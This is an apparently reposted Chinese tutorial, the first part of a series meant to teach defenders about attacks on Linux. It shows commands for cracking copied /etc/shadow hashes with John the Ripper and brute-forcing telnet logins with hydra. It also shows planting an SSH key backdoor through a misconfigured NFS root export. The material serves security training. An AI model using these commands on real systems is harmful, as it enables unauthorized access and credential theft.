针对linux系统的一些攻击
一、前言本系列文档包括三个部分,分别是《针对Linux系统的攻击》、《Linux系统安全加固》和《Linux系统入侵排查》 。编写这些文档的目的,是从攻和防的角度分别对Linux系统相关的安全技术进行介绍,使初级水平的网络安全从业者对Linux操作系统的脆弱性检查、安全加固、应急响应等安全服务工作产生更清晰的认识 。
本文是系列文档的第一部分,介绍针对Linux系统的攻击方法 。正所谓“未知攻,焉知防”,要掌握Linux系统的安全防护技术,必须了解基本的攻击技术,知道黑客在攻击的时候会做哪些事情,才好有针对性地进行防御 。
二、针对Linux系统进行攻击本文所涉及到的针对Linux系统的攻击方式包括以下这些:
- 暴力破解
- 服务漏洞
- 权限提升
- 文件传输
- 木马后门
- rootkit
- 端口转发和socks代理
- 隐蔽信道
- 物理攻击
- 痕迹清理
(一)暴力破解
暴力破解在这里主要是针对Linux系统的账号和口令进行离线攻击或在线攻击 。
所谓的离线攻击是指攻击者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻击者本地进行破解 。而在线攻击是指攻击者远程对Linux系统的服务如ssh、telnet等进行口令破解,不断地尝试登录,根据服务器返回的信息来判断正在尝试的口令是否正确 。
1. 离线攻击
离线攻击所使用的工具有很多,最常用的有两个,一个是John the ripper,另一个是hashcat 。这两个工具都在kali linux的软件安装源里面,所以都可以在线安装 。另外Linux系统管理员也可以使用john the ripper在对Linux系统进行脆弱性检查的时候确定自己的系统中是否存在弱口令 。
例子:使用John The Ripper对Ubuntu 1604系统的口令文件进行字典攻击
//攻击者在本地安装john the ripper
apt install john
//下载目标系统的/etc/passwd和/etc/shadow文件到本地,使用unshadow合并这两个文件 。unshadow是john软件包中的一个程序
/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db
//使用默认的口令字典开始破解(/usr/share/john/password.lst)
john /tmp/crack.password.db
文章插图
可以看到,得到了root和user1用户的口令 。
//也可以指定其它字典文件进行破解
john /tmp/crack.password.db --wordlist /word/list/file
2. 在线攻击
Linux平台用于远程破解口令的软件比较常用的有hydra和nmap 。
例子:使用hydra对本地系统进行远程口令破解
//使用hydra,通过telnet服务对本地的user1用户的口令进行破解,指定使用john的口令字典文件
hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet
-l //指定用户名,若不知道用户名泽需要指定用户名字典
-P //指定口令字典文件
127.0.0.1 //指定目标IP地址
telnet //指定目标服务
文章插图
破解成功,得到了user1用户的口令:123456 。同样,root用户的口令也可以破解出来,这里不再赘述 。
(二)攻击服务漏洞
Linux系统中可能部署了各种服务,如果软件存在漏洞或者服务存在错误的配置,则很可能被攻击者利用 。例如NFS服务和samba服务:
NFS:
如果导出资源的范围过大并且权限过高,则存在风险 。例如导出了根文件系统并允许读写,则攻击者可将ssh公钥写入ssh授权文件,行程ssh证书后门,实现非授权访问 。
samba:
版本:Samba3.x,共享目录可写并允许wide links,则攻击者可以访问目标主机的根文件系统并得到shell 。
1. 攻击NFS服务的漏洞
例子,攻击者将自己的公钥文件写入目标Linux系统(metasploitable 2)的NFS共享
//攻击者在本地创建临时目录
mkdir /tmp/r00t
//在目标服务器的NFS服务存在错误配置的情况下,攻击者将该服务器通过NFS服务共享出来的根目录挂载到刚创建的临时目录
mount -o nolock -t nfs remote_ip:/ /tmp/r00t
//攻击则会将自己的公钥文件通过NFS共享写入到目标主机的ssh授权文件中,这样就形成了ssh证书后门
cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
//之后攻击者即可通过证书访问目标系统的ssh服务
ssh root@remote_ip
推荐阅读
- Linux 怎么修改最大文件打开数量?
- Linux经典面试题:网卡接收数据后,经过几次拷贝才能到用户进程
- 再生龙 使用Clonezilla克隆、恢复Linux系统
- 解读微服务下的契约测试——看微服务如何完整应用系统验证之道
- MIUI系统这几个实用功能,很多小米用户还不太了解,甚至没用过
- 复杂的安全环境里,华为应用市场如何给用户吃下“定心丸”?
- 老人便秘药粥验方11则
- 鸿蒙系统编程日记3-for/if语句
- linux kali安装docker报错Unable to locate package docker
- Linux下查找java进程耗用cpu最高的线程方法